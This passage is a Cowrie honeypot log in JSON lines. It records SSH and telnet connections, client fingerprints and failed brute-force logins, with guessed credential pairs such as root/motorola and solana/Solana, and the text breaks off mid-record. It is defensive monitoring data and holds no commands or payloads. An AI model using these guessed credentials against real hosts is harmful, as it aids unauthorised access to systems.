{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:48:14.751508Z","src_ip":"109.237.96.109","session":"37de7604c970","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":38862,"dst_ip":"159.203.135.109","dst_port":22,"session":"be52afc194e7","protocol":"ssh","message":"New connection: 80.94.92.184:38862 (159.203.135.109:22) [session: be52afc194e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:48:14.884621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:48:14.926733Z","src_ip":"80.94.92.184","session":"be52afc194e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"motorola","message":"login attempt [root/motorola] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:48:15.041363Z","src_ip":"109.237.96.109","session":"37de7604c970","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:48:15.079213Z","src_ip":"80.94.92.184","session":"be52afc194e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"Sol","message":"login attempt [sol/Sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:48:15.664312Z","src_ip":"80.94.92.184","session":"be52afc194e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:48:16.175674Z","src_ip":"109.237.96.109","session":"37de7604c970","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:48:17.438255Z","src_ip":"80.94.92.184","session":"be52afc194e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":54704,"dst_ip":"159.203.135.109","dst_port":23,"session":"8479a677cb62","protocol":"telnet","message":"New connection: 186.195.16.41:54704 (159.203.135.109:23) [session: 8479a677cb62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:48:19.446403Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.2.226","src_port":55036,"dst_ip":"159.203.135.109","dst_port":22,"session":"41eb6190320b","protocol":"ssh","message":"New connection: 43.156.2.226:55036 (159.203.135.109:22) [session: 41eb6190320b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:48:22.905056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:48:22.909676Z","src_ip":"43.156.2.226","session":"41eb6190320b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:48:23.148095Z","src_ip":"43.156.2.226","session":"41eb6190320b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hosting","message":"login attempt [root/hosting] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:48:24.132530Z","src_ip":"43.156.2.226","session":"41eb6190320b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:48:25.375388Z","src_ip":"43.156.2.226","session":"41eb6190320b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.234.27","src_port":41626,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e206fb63b89","protocol":"ssh","message":"New connection: 69.6.234.27:41626 (159.203.135.109:22) [session: 2e206fb63b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:49:01.035368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:49:01.040515Z","src_ip":"69.6.234.27","session":"2e206fb63b89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:49:01.113685Z","src_ip":"69.6.234.27","session":"2e206fb63b89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$$w0rd2026","message":"login attempt [root/P@$$w0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:49:01.438317Z","src_ip":"69.6.234.27","session":"2e206fb63b89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:49:02.515879Z","src_ip":"69.6.234.27","session":"2e206fb63b89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.58975601196289,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:49:05.036066Z","src_ip":"186.195.16.41","session":"8479a677cb62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.2.226","src_port":56664,"dst_ip":"159.203.135.109","dst_port":22,"session":"751402af901a","protocol":"ssh","message":"New connection: 43.156.2.226:56664 (159.203.135.109:22) [session: 751402af901a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:49:46.502042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:49:46.506356Z","src_ip":"43.156.2.226","session":"751402af901a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:49:46.743684Z","src_ip":"43.156.2.226","session":"751402af901a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Zx","message":"login attempt [root/123456Zx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:49:47.725638Z","src_ip":"43.156.2.226","session":"751402af901a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:49:48.966721Z","src_ip":"43.156.2.226","session":"751402af901a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00555944442749,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:50:01.184971Z","src_ip":"141.149.226.228","session":"cd86f4464de1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.234.27","src_port":51982,"dst_ip":"159.203.135.109","dst_port":22,"session":"e880e06e53ac","protocol":"ssh","message":"New connection: 69.6.234.27:51982 (159.203.135.109:22) [session: e880e06e53ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:50:24.135934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:50:24.140818Z","src_ip":"69.6.234.27","session":"e880e06e53ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:50:24.214220Z","src_ip":"69.6.234.27","session":"e880e06e53ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1225","message":"login attempt [root/1225] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:50:24.539946Z","src_ip":"69.6.234.27","session":"e880e06e53ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:50:25.619870Z","src_ip":"69.6.234.27","session":"e880e06e53ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.2.226","src_port":60164,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b750f838994","protocol":"ssh","message":"New connection: 43.156.2.226:60164 (159.203.135.109:22) [session: 3b750f838994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:51:04.385842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:51:04.391255Z","src_ip":"43.156.2.226","session":"3b750f838994","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:51:04.633473Z","src_ip":"43.156.2.226","session":"3b750f838994","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"amir1234","message":"login attempt [root/amir1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:51:05.617701Z","src_ip":"43.156.2.226","session":"3b750f838994","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:51:06.859396Z","src_ip":"43.156.2.226","session":"3b750f838994","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":41560,"dst_ip":"159.203.135.109","dst_port":22,"session":"f80953eca499","protocol":"ssh","message":"New connection: 80.94.92.184:41560 (159.203.135.109:22) [session: f80953eca499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:51:09.038666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:51:09.131640Z","src_ip":"80.94.92.184","session":"f80953eca499","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:51:09.250741Z","src_ip":"80.94.92.184","session":"f80953eca499","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"Solana","message":"login attempt [solana/Solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:51:10.330636Z","src_ip":"80.94.92.184","session":"f80953eca499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:51:11.651594Z","src_ip":"80.94.92.184","session":"f80953eca499","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.234.27","src_port":35318,"dst_ip":"159.203.135.109","dst_port":22,"session":"adf1ef97a50b","protocol":"ssh","message":"New connection: 69.6.234.27:35318 (159.203.135.109:22) [session: adf1ef97a50b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:51:41.678148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:51:41.682826Z","src_ip":"69.6.234.27","session":"adf1ef97a50b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp